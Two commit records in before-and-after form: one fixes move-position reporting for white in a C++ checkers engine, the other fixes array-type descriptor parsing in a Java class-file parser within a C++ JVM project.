{"text":"<commit_before>#include \"bilgamesh_internal.hh\"\n#include <utility>\n#include <cstdint>\n\ntemplate <class T>\n_bgm_action<T>::_bgm_action ()\n{\n  black_move = true;\n  move_capture = _bgm_move;\n  piece_to_piece = _bgm_man_to_man;\n  start_ = 0;\n  end_ = 0;\n}\n\ntemplate <class T>\n_bgm_action<T>::_bgm_action (bool b, _bgm_move_capture mc, _bgm_piece_to_piece ptp, T s, T e, const std::vector<T>& cm, const std::vector<T>& ck) : black_move(b), move_capture(mc), piece_to_piece(ptp), start_(s), end_(e), captured_men(cm), captured_kings(ck)\n{\n}\n\ntemplate <class T>\n_bgm_action<T>::operator bool() const\n{\n  return 0 != start_;\n}\n\ntemplate <class T>\nbool\n_bgm_action<T>::is_man_to_king () const\n{\n  return _bgm_man_to_king == piece_to_piece;\n}\n\ntemplate <class T>\nbool\n_bgm_action<T>::is_capture () const\n{\n  return move_capture == _bgm_capture;\n}\n\ntemplate <class T>\nT\n_bgm_action<T>::first () const\n{\n  if (black_move) {\n    return start_;\n  } else {\n    return 33 - start_;\n  }\n}\n\ntemplate <class T>\nT\n_bgm_action<T>::last () const\n{\n  if (black_move) {\n    return end_;\n  } else {\n    return 33 - end_;\n  }\n}\n\ntemplate <class T>\n_bgm_action<T>\n_bgm_action<T>::clone () const\n{\n  return _bgm_action<T>(*this);\n}\n\ntemplate <class T>\n_bgm_action<T>&\n_bgm_action<T>::join (const _bgm_action<T>& in)\n{\n  if (black_move) {\n    intermediate_hops.push_back (end_);\n  } else {\n    intermediate_hops.push_back (33 - end_);\n  }\n  end_ = in.end_;\n  captured_men.insert (captured_men.end(), in.captured_men.begin (), in.captured_men.end ());\n  captured_kings.insert (captured_kings.end(), in.captured_kings.begin (), in.captured_kings.end ());\n\n  if ((_bgm_man_to_man == piece_to_piece) & (_bgm_man_to_man != in.piece_to_piece)) {\n    piece_to_piece = _bgm_man_to_king;\n  }\n\n  return *this;\n}\n\ntemplate <class T>\nvoid\n_bgm_action<T>::apply (uint64_t* board) const\n{\n  uint64_t x, y;\n\n  if (black_move) {\n    x = board[0]; y = board[1];\n  } else {\n    x = board[1]; y = board[0];\n  }\n\n  const uint64_t start_pos = (0x3ULL << 2*(start_ - 1));\n  const uint64_t not_start_pos = !start_pos;\n  const uint64_t end_pos = (0x3ULL << 2*(end_ - 1));\n\n  x = (x & not_start_pos);\n\n  constexpr uint64_t men_mask = 0x5555555555555555;\n  constexpr uint64_t kings_mask = 0xAAAAAAAAAAAAAAAA;\n\n  if (_bgm_man_to_man == piece_to_piece) {\n    x |= (end_pos & men_mask); \n  } else { \/\/ _bgm_man_to_king\n    x |= (end_pos & kings_mask);\n  }\n\n  uint64_t op_men = 0x0ULL, op_kings = 0x0ULL;\n\n  for (auto i : captured_men ) {\n    op_men |= (0x3ULL << 2 * (33 - i - 1));\n  }\n\n  for (auto i : captured_kings) {\n    op_kings |= (0x3ULL << 2 * (33 - i - 1));\n  }\n\n  y = (y & ~op_men & ~op_kings);\n\n  if (black_move) {\n    board[0] = x; board[1] = y;\n  } else {\n    board[0] = y; board[1] = x;\n  }\n}\n\ntemplate <class T>\nvoid\n_bgm_action<T>::get_all_hop_positions (std::vector<int>& out) const\n{\n  out.clear ();\n  out.push_back (start_);\n  for (auto i : intermediate_hops)\n    {\n      out.push_back ((int)i);\n    }\n  out.push_back (end_);\n}\n\ntemplate <class T>\nstd::ostream&\noperator << (std::ostream& os, const _bgm_action<T>& in)\n{\n  os << in.first () << \"-\" << in.last ();\n  return os;\n}\n\ntemplate class _bgm_action<int8_t>;\n\ntemplate std::ostream& operator << (std::ostream&, const _bgm_action<int8_t>&);\n<commit_msg>Account for white.<commit_after>#include \"bilgamesh_internal.hh\"\n#include <utility>\n#include <cstdint>\n\ntemplate <class T>\n_bgm_action<T>::_bgm_action ()\n{\n  black_move = true;\n  move_capture = _bgm_move;\n  piece_to_piece = _bgm_man_to_man;\n  start_ = 0;\n  end_ = 0;\n}\n\ntemplate <class T>\n_bgm_action<T>::_bgm_action (bool b, _bgm_move_capture mc, _bgm_piece_to_piece ptp, T s, T e, const std::vector<T>& cm, const std::vector<T>& ck) : black_move(b), move_capture(mc), piece_to_piece(ptp), start_(s), end_(e), captured_men(cm), captured_kings(ck)\n{\n}\n\ntemplate <class T>\n_bgm_action<T>::operator bool() const\n{\n  return 0 != start_;\n}\n\ntemplate <class T>\nbool\n_bgm_action<T>::is_man_to_king () const\n{\n  return _bgm_man_to_king == piece_to_piece;\n}\n\ntemplate <class T>\nbool\n_bgm_action<T>::is_capture () const\n{\n  return move_capture == _bgm_capture;\n}\n\ntemplate <class T>\nT\n_bgm_action<T>::first () const\n{\n  if (black_move) {\n    return start_;\n  } else {\n    return 33 - start_;\n  }\n}\n\ntemplate <class T>\nT\n_bgm_action<T>::last () const\n{\n  if (black_move) {\n    return end_;\n  } else {\n    return 33 - end_;\n  }\n}\n\ntemplate <class T>\n_bgm_action<T>\n_bgm_action<T>::clone () const\n{\n  return _bgm_action<T>(*this);\n}\n\ntemplate <class T>\n_bgm_action<T>&\n_bgm_action<T>::join (const _bgm_action<T>& in)\n{\n  if (black_move) {\n    intermediate_hops.push_back (end_);\n  } else {\n    intermediate_hops.push_back (33 - end_);\n  }\n  end_ = in.end_;\n  captured_men.insert (captured_men.end(), in.captured_men.begin (), in.captured_men.end ());\n  captured_kings.insert (captured_kings.end(), in.captured_kings.begin (), in.captured_kings.end ());\n\n  if ((_bgm_man_to_man == piece_to_piece) & (_bgm_man_to_man != in.piece_to_piece)) {\n    piece_to_piece = _bgm_man_to_king;\n  }\n\n  return *this;\n}\n\ntemplate <class T>\nvoid\n_bgm_action<T>::apply (uint64_t* board) const\n{\n  uint64_t x, y;\n\n  if (black_move) {\n    x = board[0]; y = board[1];\n  } else {\n    x = board[1]; y = board[0];\n  }\n\n  const uint64_t start_pos = (0x3ULL << 2*(start_ - 1));\n  const uint64_t not_start_pos = !start_pos;\n  const uint64_t end_pos = (0x3ULL << 2*(end_ - 1));\n\n  x = (x & not_start_pos);\n\n  constexpr uint64_t men_mask = 0x5555555555555555;\n  constexpr uint64_t kings_mask = 0xAAAAAAAAAAAAAAAA;\n\n  if (_bgm_man_to_man == piece_to_piece) {\n    x |= (end_pos & men_mask); \n  } else { \/\/ _bgm_man_to_king\n    x |= (end_pos & kings_mask);\n  }\n\n  uint64_t op_men = 0x0ULL, op_kings = 0x0ULL;\n\n  for (auto i : captured_men ) {\n    op_men |= (0x3ULL << 2 * (33 - i - 1));\n  }\n\n  for (auto i : captured_kings) {\n    op_kings |= (0x3ULL << 2 * (33 - i - 1));\n  }\n\n  y = (y & ~op_men & ~op_kings);\n\n  if (black_move) {\n    board[0] = x; board[1] = y;\n  } else {\n    board[0] = y; board[1] = x;\n  }\n}\n\ntemplate <class T>\nvoid\n_bgm_action<T>::get_all_hop_positions (std::vector<int>& out) const\n{\n  out.clear ();\n  out.push_back (first ());\n  for (auto i : intermediate_hops)\n    {\n      out.push_back ((int)i);\n    }\n  out.push_back (last ());\n}\n\ntemplate <class T>\nstd::ostream&\noperator << (std::ostream& os, const _bgm_action<T>& in)\n{\n  os << in.first () << \"-\" << in.last ();\n  return os;\n}\n\ntemplate class _bgm_action<int8_t>;\n\ntemplate std::ostream& operator << (std::ostream&, const _bgm_action<int8_t>&);\n<|endoftext|>"}
{"text":"<commit_before>#include \"hornet\/java.hh\"\n#include \"hornet\/vm.hh\"\n\n#include <classfile_constants.h>\n#include <functional>\n#include <cassert>\n#include <cstring>\n#include <cstdio>\n#include <string>\n\nnamespace hornet {\n\nclass_file::class_file(void *data, size_t size)\n    : _offset(0)\n    , _size(size)\n    , _data(reinterpret_cast<char *>(data))\n{\n}\n\nclass_file::~class_file()\n{\n}\n\nstd::shared_ptr<klass> class_file::parse()\n{\n    if (!_size)\n        assert(0);\n\n    auto magic = read_u4();\n\n    if (magic != 0xcafebabe)\n        assert(0);\n\n    \/*auto minor_version = *\/read_u2();\n\n    auto major_version = read_u2();\n\n    if (major_version > JVM_CLASSFILE_MAJOR_VERSION)\n        assert(0);\n\n    auto const_pool = read_constant_pool();\n\n    auto access_flags = read_u2();\n\n    auto this_class = read_u2();\n\n    auto super_class = read_u2();\n\n    auto& klassref = const_pool->get_class(this_class);\n\n    auto& klass_name = const_pool->get_utf8(klassref.name_index);\n\n    auto klass = std::make_shared<hornet::klass>(klass_name.bytes, hornet::system_loader(), const_pool);\n\n    hornet::_jvm->register_class(klass);\n\n    auto interfaces_count = read_u2();\n\n    for (auto i = 0; i < interfaces_count; i++) {\n        auto idx = read_u2();\n\n        auto iface = klass->resolve_class(idx);\n\n        klass->add(iface);\n    }\n\n    auto fields_count = read_u2();\n\n    for (auto i = 0; i < fields_count; i++) {\n        auto field = read_field_info(klass.get(), *const_pool);\n\n        klass->add(field);\n    }\n\n    auto methods_count = read_u2();\n\n    for (auto i = 0; i < methods_count; i++) {\n        auto method = read_method_info(klass.get(), *const_pool);\n\n        klass->add(method);\n    }\n\n    auto attr_count = read_u2();\n\n    for (auto i = 0; i < attr_count; i++) {\n        read_attr_info(*const_pool);\n    }\n\n    klass->access_flags = access_flags;\n\n    if (super_class) {\n        auto super = klass->resolve_class(super_class);\n        klass->super = super.get();\n    } else {\n        klass->super = nullptr;\n    }\n\n    return klass;\n}\n\nstd::shared_ptr<constant_pool> class_file::read_constant_pool()\n{\n    auto constant_pool_count = read_u2();\n\n    assert(constant_pool_count > 0);\n\n    auto const_pool = std::make_shared<constant_pool>(constant_pool_count);\n\n    for (auto idx = 0; idx < constant_pool_count-1; idx++) {\n        auto tag = read_u1();\n        std::shared_ptr<cp_info> cp_info;\n        switch (tag) {\n        case JVM_CONSTANT_Class:\n            cp_info = read_const_class();\n            break;\n        case JVM_CONSTANT_Fieldref:\n            cp_info = read_const_fieldref();\n            break;\n        case JVM_CONSTANT_Methodref:\n            cp_info = read_const_methodref();\n            break;\n        case JVM_CONSTANT_InterfaceMethodref:\n            cp_info = read_const_interface_methodref();\n            break;\n        case JVM_CONSTANT_String:\n            cp_info = read_const_string();\n            break;\n        case JVM_CONSTANT_Integer:\n            cp_info = read_const_integer();\n            break;\n        case JVM_CONSTANT_Float:\n            cp_info = read_const_float();\n            break;\n        case JVM_CONSTANT_Long:\n            cp_info = read_const_long();\n            break;\n        case JVM_CONSTANT_Double:\n            cp_info = read_const_double();\n            break;\n        case JVM_CONSTANT_NameAndType:\n            cp_info = read_const_name_and_type();\n            break;\n        case JVM_CONSTANT_Utf8:\n            cp_info = read_const_utf8();\n            break;\n        case JVM_CONSTANT_MethodHandle:\n            read_const_method_handle();\n            break;\n        case JVM_CONSTANT_MethodType:\n            read_const_method_type();\n            break;\n        case JVM_CONSTANT_InvokeDynamic:\n            read_const_invoke_dynamic();\n            break;\n        default:\n            fprintf(stderr, \"error: tag %u not supported.\\n\", tag);\n            assert(0);\n        }\n        const_pool->set(idx, cp_info);\n        if (tag == JVM_CONSTANT_Long || tag == JVM_CONSTANT_Double) {\n            \/\/ 8-byte constants take up two entries in the constant pool.\n            idx++;\n        }\n    }\n\n    return const_pool;\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_class()\n{\n    auto name_index = read_u2();\n\n    return cp_info::make_class(name_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_fieldref()\n{\n    auto class_index = read_u2();\n    auto name_and_type_index = read_u2();\n\n    return cp_info::make_fieldref(class_index, name_and_type_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_methodref()\n{\n    auto class_index = read_u2();\n    auto name_and_type_index = read_u2();\n\n    return cp_info::make_methodref(class_index, name_and_type_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_interface_methodref()\n{\n    auto class_index = read_u2();\n    auto name_and_type_index = read_u2();\n\n    return cp_info::make_interface_methodref(class_index, name_and_type_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_string()\n{\n    auto string_index = read_u2();\n\n    return cp_info::make_string(string_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_integer()\n{\n    auto value = read_u4();\n    \n    return cp_info::make_integer(value);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_float()\n{\n    auto bytes = read_u4();\n\n    jfloat value;\n\n    memcpy(&value, &bytes, sizeof(value));\n\n    return cp_info::make_float(value);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_long()\n{\n    auto bytes = read_u8();\n\n    return cp_info::make_long(bytes);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_double()\n{\n    auto bytes = read_u8();\n\n    jdouble value;\n\n    memcpy(&value, &bytes, sizeof(value));\n\n    return cp_info::make_double(value);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_name_and_type()\n{\n    auto name_index = read_u2();\n    auto descriptor_index = read_u2();\n\n    return cp_info::make_name_and_type(name_index, descriptor_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_utf8()\n{\n    auto length = read_u2();\n\n    auto bytes = new char[length + 1];\n\n    for (auto i = 0; i < length; i++)\n        bytes[i] = read_u1();\n\n    bytes[length] = '\\0';\n\n    return cp_info::make_utf8_info(bytes);\n}\n\nvoid class_file::read_const_method_handle()\n{\n    \/*auto reference_kind = *\/read_u1();\n    \/*auto reference_index = *\/read_u2();\n}\n\nvoid class_file::read_const_method_type()\n{\n    \/*auto descriptor_index = *\/read_u2();\n}\n\nvoid class_file::read_const_invoke_dynamic()\n{\n    \/*auto bootstrap_method_attr_index = *\/read_u2();\n    \/*auto name_and_type_index = *\/read_u2();\n}\n\nstd::shared_ptr<field> class_file::read_field_info(klass* klass, constant_pool &constant_pool)\n{\n    auto access_flags = read_u2();\n    auto name_index = read_u2();\n\n    auto& cp_name = constant_pool.get_utf8(name_index);\n\n    auto descriptor_index = read_u2();\n\n    auto& cp_descriptor = constant_pool.get_utf8(descriptor_index);\n\n    auto f = std::make_shared<field>(klass);\n\n    f->name         = cp_name.bytes;\n    f->descriptor   = cp_descriptor.bytes;\n    f->access_flags = access_flags;\n\n    auto attr_count = read_u2();\n\n    for (auto i = 0; i < attr_count; i++) {\n        auto attr = read_attr_info(constant_pool);\n    }\n\n    return f;\n}\n\nstatic std::shared_ptr<klass> parse_type(klass* klass, std::string descriptor, int& pos)\n{\n    auto ch = descriptor[pos++];\n    switch (ch) {\n    case 'B':\n    case 'C':\n    case 'D':\n    case 'F':\n    case 'I':\n    case 'J':\n    case 'S':\n    case 'Z':\n    case 'V': {\n        return prim_sig_to_klass(ch);\n    }\n    case 'L': {\n        auto start = pos;\n        while (descriptor[pos++] != ';')\n            ;;\n        auto len = pos-start-1;\n        assert(len > 0);\n        auto name = descriptor.substr(start, len);\n        return klass->load_class(name);\n    }\n    case '[':\n        parse_type(klass, descriptor, pos);\n        break;\n    default:\n        fprintf(stderr, \"%s '%c'\\n\", descriptor.c_str(), ch);\n        assert(0);\n        break;\n    }\n    return nullptr;\n}\n\nstatic void parse_method_descriptor(std::shared_ptr<method> m)\n{\n    int pos = 0;\n\n    assert(m->descriptor[pos++] == '(');\n\n    while (m->descriptor[pos] != ')') {\n        auto arg_type = parse_type(m->klass, m->descriptor, pos);\n        m->arg_types.emplace_back(arg_type.get());\n    }\n    m->args_count = m->arg_types.size();\n\n    auto return_type = parse_type(m->klass, m->descriptor, ++pos);\n    m->return_type = return_type.get();\n}\n\nstd::shared_ptr<method> class_file::read_method_info(klass* klass, constant_pool &constant_pool)\n{\n    auto access_flags = read_u2();\n\n    auto name_index = read_u2();\n\n    auto& cp_name = constant_pool.get_utf8(name_index);\n\n    auto descriptor_index = read_u2();\n\n    auto& cp_descriptor = constant_pool.get_utf8(descriptor_index);\n\n    auto attr_count = read_u2();\n\n    auto m = std::make_shared<method>();\n\n    m->klass        = klass;\n    m->access_flags = access_flags;\n    m->name         = cp_name.bytes;\n    m->descriptor   = cp_descriptor.bytes;\n    m->code         = nullptr;\n    m->code_length  = 0;\n\n    parse_method_descriptor(m);\n\n    for (auto i = 0; i < attr_count; i++) {\n        auto attr = read_attr_info(constant_pool);\n\n        switch (attr->type) {\n        case attr_type::code: {\n            code_attr* c = static_cast<code_attr*>(attr.get());\n            m->max_locals  = c->max_locals;\n            m->code        = c->code;\n            m->code_length = c->code_length;\n            break;\n        }\n        default:\n            \/* ignore *\/\n            break;\n        }\n    }\n\n    return m;\n}\n\nstd::unique_ptr<attr_info>\nclass_file::read_attr_info(constant_pool& constant_pool)\n{\n    auto attribute_name_index = read_u2();\n\n    auto attribute_length = read_u4();\n\n    auto& cp_name = constant_pool.get_utf8(attribute_name_index);\n\n    if (!strcmp(cp_name.bytes, \"Code\")) {\n        return read_code_attribute(constant_pool);\n    }\n\n    for (uint32_t i = 0; i < attribute_length; i++)\n        read_u1();\n\n    return std::unique_ptr<attr_info>(new unknown_attr);\n}\n\nstd::unique_ptr<code_attr>\nclass_file::read_code_attribute(constant_pool& constant_pool)\n{\n    auto* attr = new code_attr();\n    \/*auto max_stack = *\/read_u2();\n    attr->max_locals = read_u2();\n    attr->code_length = read_u4();\n    attr->code = new char[attr->code_length];\n    for (uint32_t i = 0; i < attr->code_length; i++)\n        attr->code[i] = read_u1();\n    auto exception_table_length = read_u2();\n    for (uint16_t i = 0; i < exception_table_length; i++) {\n        \/*auto start_pc = *\/read_u2();\n        \/*auto end_pc = *\/read_u2();\n        \/*auto handler_pc = *\/read_u2();\n        \/*auto catch_type = *\/read_u2();\n    }\n    auto attr_count = read_u2();\n    for (auto i = 0; i < attr_count; i++) {\n        read_attr_info(constant_pool);\n    }\n    return std::unique_ptr<code_attr>(attr);\n}\n\nuint8_t class_file::read_u1()\n{\n    return _data[_offset++];\n}\n\nuint16_t class_file::read_u2()\n{\n    return static_cast<uint16_t>(read_u1()) << 8\n         | static_cast<uint16_t>(read_u1());\n}\n\nuint32_t class_file::read_u4()\n{\n    return static_cast<uint32_t>(read_u1()) << 24\n         | static_cast<uint32_t>(read_u1()) << 16\n         | static_cast<uint32_t>(read_u1()) << 8\n         | static_cast<uint32_t>(read_u1());\n}\n\nuint64_t class_file::read_u8()\n{\n    return static_cast<uint64_t>(read_u4()) << 32 | read_u4();\n}\n\n}\n<commit_msg>java\/class_file: Fix parse_type() for array types<commit_after>#include \"hornet\/java.hh\"\n#include \"hornet\/vm.hh\"\n\n#include <classfile_constants.h>\n#include <functional>\n#include <cassert>\n#include <cstring>\n#include <cstdio>\n#include <string>\n\nnamespace hornet {\n\nclass_file::class_file(void *data, size_t size)\n    : _offset(0)\n    , _size(size)\n    , _data(reinterpret_cast<char *>(data))\n{\n}\n\nclass_file::~class_file()\n{\n}\n\nstd::shared_ptr<klass> class_file::parse()\n{\n    if (!_size)\n        assert(0);\n\n    auto magic = read_u4();\n\n    if (magic != 0xcafebabe)\n        assert(0);\n\n    \/*auto minor_version = *\/read_u2();\n\n    auto major_version = read_u2();\n\n    if (major_version > JVM_CLASSFILE_MAJOR_VERSION)\n        assert(0);\n\n    auto const_pool = read_constant_pool();\n\n    auto access_flags = read_u2();\n\n    auto this_class = read_u2();\n\n    auto super_class = read_u2();\n\n    auto& klassref = const_pool->get_class(this_class);\n\n    auto& klass_name = const_pool->get_utf8(klassref.name_index);\n\n    auto klass = std::make_shared<hornet::klass>(klass_name.bytes, hornet::system_loader(), const_pool);\n\n    hornet::_jvm->register_class(klass);\n\n    auto interfaces_count = read_u2();\n\n    for (auto i = 0; i < interfaces_count; i++) {\n        auto idx = read_u2();\n\n        auto iface = klass->resolve_class(idx);\n\n        klass->add(iface);\n    }\n\n    auto fields_count = read_u2();\n\n    for (auto i = 0; i < fields_count; i++) {\n        auto field = read_field_info(klass.get(), *const_pool);\n\n        klass->add(field);\n    }\n\n    auto methods_count = read_u2();\n\n    for (auto i = 0; i < methods_count; i++) {\n        auto method = read_method_info(klass.get(), *const_pool);\n\n        klass->add(method);\n    }\n\n    auto attr_count = read_u2();\n\n    for (auto i = 0; i < attr_count; i++) {\n        read_attr_info(*const_pool);\n    }\n\n    klass->access_flags = access_flags;\n\n    if (super_class) {\n        auto super = klass->resolve_class(super_class);\n        klass->super = super.get();\n    } else {\n        klass->super = nullptr;\n    }\n\n    return klass;\n}\n\nstd::shared_ptr<constant_pool> class_file::read_constant_pool()\n{\n    auto constant_pool_count = read_u2();\n\n    assert(constant_pool_count > 0);\n\n    auto const_pool = std::make_shared<constant_pool>(constant_pool_count);\n\n    for (auto idx = 0; idx < constant_pool_count-1; idx++) {\n        auto tag = read_u1();\n        std::shared_ptr<cp_info> cp_info;\n        switch (tag) {\n        case JVM_CONSTANT_Class:\n            cp_info = read_const_class();\n            break;\n        case JVM_CONSTANT_Fieldref:\n            cp_info = read_const_fieldref();\n            break;\n        case JVM_CONSTANT_Methodref:\n            cp_info = read_const_methodref();\n            break;\n        case JVM_CONSTANT_InterfaceMethodref:\n            cp_info = read_const_interface_methodref();\n            break;\n        case JVM_CONSTANT_String:\n            cp_info = read_const_string();\n            break;\n        case JVM_CONSTANT_Integer:\n            cp_info = read_const_integer();\n            break;\n        case JVM_CONSTANT_Float:\n            cp_info = read_const_float();\n            break;\n        case JVM_CONSTANT_Long:\n            cp_info = read_const_long();\n            break;\n        case JVM_CONSTANT_Double:\n            cp_info = read_const_double();\n            break;\n        case JVM_CONSTANT_NameAndType:\n            cp_info = read_const_name_and_type();\n            break;\n        case JVM_CONSTANT_Utf8:\n            cp_info = read_const_utf8();\n            break;\n        case JVM_CONSTANT_MethodHandle:\n            read_const_method_handle();\n            break;\n        case JVM_CONSTANT_MethodType:\n            read_const_method_type();\n            break;\n        case JVM_CONSTANT_InvokeDynamic:\n            read_const_invoke_dynamic();\n            break;\n        default:\n            fprintf(stderr, \"error: tag %u not supported.\\n\", tag);\n            assert(0);\n        }\n        const_pool->set(idx, cp_info);\n        if (tag == JVM_CONSTANT_Long || tag == JVM_CONSTANT_Double) {\n            \/\/ 8-byte constants take up two entries in the constant pool.\n            idx++;\n        }\n    }\n\n    return const_pool;\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_class()\n{\n    auto name_index = read_u2();\n\n    return cp_info::make_class(name_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_fieldref()\n{\n    auto class_index = read_u2();\n    auto name_and_type_index = read_u2();\n\n    return cp_info::make_fieldref(class_index, name_and_type_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_methodref()\n{\n    auto class_index = read_u2();\n    auto name_and_type_index = read_u2();\n\n    return cp_info::make_methodref(class_index, name_and_type_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_interface_methodref()\n{\n    auto class_index = read_u2();\n    auto name_and_type_index = read_u2();\n\n    return cp_info::make_interface_methodref(class_index, name_and_type_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_string()\n{\n    auto string_index = read_u2();\n\n    return cp_info::make_string(string_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_integer()\n{\n    auto value = read_u4();\n    \n    return cp_info::make_integer(value);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_float()\n{\n    auto bytes = read_u4();\n\n    jfloat value;\n\n    memcpy(&value, &bytes, sizeof(value));\n\n    return cp_info::make_float(value);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_long()\n{\n    auto bytes = read_u8();\n\n    return cp_info::make_long(bytes);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_double()\n{\n    auto bytes = read_u8();\n\n    jdouble value;\n\n    memcpy(&value, &bytes, sizeof(value));\n\n    return cp_info::make_double(value);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_name_and_type()\n{\n    auto name_index = read_u2();\n    auto descriptor_index = read_u2();\n\n    return cp_info::make_name_and_type(name_index, descriptor_index);\n}\n\nstd::shared_ptr<cp_info> class_file::read_const_utf8()\n{\n    auto length = read_u2();\n\n    auto bytes = new char[length + 1];\n\n    for (auto i = 0; i < length; i++)\n        bytes[i] = read_u1();\n\n    bytes[length] = '\\0';\n\n    return cp_info::make_utf8_info(bytes);\n}\n\nvoid class_file::read_const_method_handle()\n{\n    \/*auto reference_kind = *\/read_u1();\n    \/*auto reference_index = *\/read_u2();\n}\n\nvoid class_file::read_const_method_type()\n{\n    \/*auto descriptor_index = *\/read_u2();\n}\n\nvoid class_file::read_const_invoke_dynamic()\n{\n    \/*auto bootstrap_method_attr_index = *\/read_u2();\n    \/*auto name_and_type_index = *\/read_u2();\n}\n\nstd::shared_ptr<field> class_file::read_field_info(klass* klass, constant_pool &constant_pool)\n{\n    auto access_flags = read_u2();\n    auto name_index = read_u2();\n\n    auto& cp_name = constant_pool.get_utf8(name_index);\n\n    auto descriptor_index = read_u2();\n\n    auto& cp_descriptor = constant_pool.get_utf8(descriptor_index);\n\n    auto f = std::make_shared<field>(klass);\n\n    f->name         = cp_name.bytes;\n    f->descriptor   = cp_descriptor.bytes;\n    f->access_flags = access_flags;\n\n    auto attr_count = read_u2();\n\n    for (auto i = 0; i < attr_count; i++) {\n        auto attr = read_attr_info(constant_pool);\n    }\n\n    return f;\n}\n\nstatic std::shared_ptr<klass> parse_type(klass* klass, std::string descriptor, int& pos)\n{\n    auto ch = descriptor[pos++];\n    switch (ch) {\n    case 'B':\n    case 'C':\n    case 'D':\n    case 'F':\n    case 'I':\n    case 'J':\n    case 'S':\n    case 'Z':\n    case 'V': {\n        return prim_sig_to_klass(ch);\n    }\n    case 'L': {\n        auto start = pos;\n        while (descriptor[pos++] != ';')\n            ;;\n        auto len = pos-start-1;\n        assert(len > 0);\n        auto name = descriptor.substr(start, len);\n        return klass->load_class(name);\n    }\n    case '[': {\n        auto elem_type = parse_type(klass, descriptor, pos);\n        if (!elem_type) {\n            return nullptr;\n        }\n        std::string class_name = \"[\" + elem_type->name;\n        return klass->load_class(class_name);\n    }\n    default:\n        fprintf(stderr, \"%s '%c'\\n\", descriptor.c_str(), ch);\n        assert(0);\n        break;\n    }\n    return nullptr;\n}\n\nstatic void parse_method_descriptor(std::shared_ptr<method> m)\n{\n    int pos = 0;\n\n    assert(m->descriptor[pos++] == '(');\n\n    while (m->descriptor[pos] != ')') {\n        auto arg_type = parse_type(m->klass, m->descriptor, pos);\n        m->arg_types.emplace_back(arg_type.get());\n    }\n    m->args_count = m->arg_types.size();\n\n    auto return_type = parse_type(m->klass, m->descriptor, ++pos);\n    m->return_type = return_type.get();\n}\n\nstd::shared_ptr<method> class_file::read_method_info(klass* klass, constant_pool &constant_pool)\n{\n    auto access_flags = read_u2();\n\n    auto name_index = read_u2();\n\n    auto& cp_name = constant_pool.get_utf8(name_index);\n\n    auto descriptor_index = read_u2();\n\n    auto& cp_descriptor = constant_pool.get_utf8(descriptor_index);\n\n    auto attr_count = read_u2();\n\n    auto m = std::make_shared<method>();\n\n    m->klass        = klass;\n    m->access_flags = access_flags;\n    m->name         = cp_name.bytes;\n    m->descriptor   = cp_descriptor.bytes;\n    m->code         = nullptr;\n    m->code_length  = 0;\n\n    parse_method_descriptor(m);\n\n    for (auto i = 0; i < attr_count; i++) {\n        auto attr = read_attr_info(constant_pool);\n\n        switch (attr->type) {\n        case attr_type::code: {\n            code_attr* c = static_cast<code_attr*>(attr.get());\n            m->max_locals  = c->max_locals;\n            m->code        = c->code;\n            m->code_length = c->code_length;\n            break;\n        }\n        default:\n            \/* ignore *\/\n            break;\n        }\n    }\n\n    return m;\n}\n\nstd::unique_ptr<attr_info>\nclass_file::read_attr_info(constant_pool& constant_pool)\n{\n    auto attribute_name_index = read_u2();\n\n    auto attribute_length = read_u4();\n\n    auto& cp_name = constant_pool.get_utf8(attribute_name_index);\n\n    if (!strcmp(cp_name.bytes, \"Code\")) {\n        return read_code_attribute(constant_pool);\n    }\n\n    for (uint32_t i = 0; i < attribute_length; i++)\n        read_u1();\n\n    return std::unique_ptr<attr_info>(new unknown_attr);\n}\n\nstd::unique_ptr<code_attr>\nclass_file::read_code_attribute(constant_pool& constant_pool)\n{\n    auto* attr = new code_attr();\n    \/*auto max_stack = *\/read_u2();\n    attr->max_locals = read_u2();\n    attr->code_length = read_u4();\n    attr->code = new char[attr->code_length];\n    for (uint32_t i = 0; i < attr->code_length; i++)\n        attr->code[i] = read_u1();\n    auto exception_table_length = read_u2();\n    for (uint16_t i = 0; i < exception_table_length; i++) {\n        \/*auto start_pc = *\/read_u2();\n        \/*auto end_pc = *\/read_u2();\n        \/*auto handler_pc = *\/read_u2();\n        \/*auto catch_type = *\/read_u2();\n    }\n    auto attr_count = read_u2();\n    for (auto i = 0; i < attr_count; i++) {\n        read_attr_info(constant_pool);\n    }\n    return std::unique_ptr<code_attr>(attr);\n}\n\nuint8_t class_file::read_u1()\n{\n    return _data[_offset++];\n}\n\nuint16_t class_file::read_u2()\n{\n    return static_cast<uint16_t>(read_u1()) << 8\n         | static_cast<uint16_t>(read_u1());\n}\n\nuint32_t class_file::read_u4()\n{\n    return static_cast<uint32_t>(read_u1()) << 24\n         | static_cast<uint32_t>(read_u1()) << 16\n         | static_cast<uint32_t>(read_u1()) << 8\n         | static_cast<uint32_t>(read_u1());\n}\n\nuint64_t class_file::read_u8()\n{\n    return static_cast<uint64_t>(read_u4()) << 32 | read_u4();\n}\n\n}\n<|endoftext|>"}
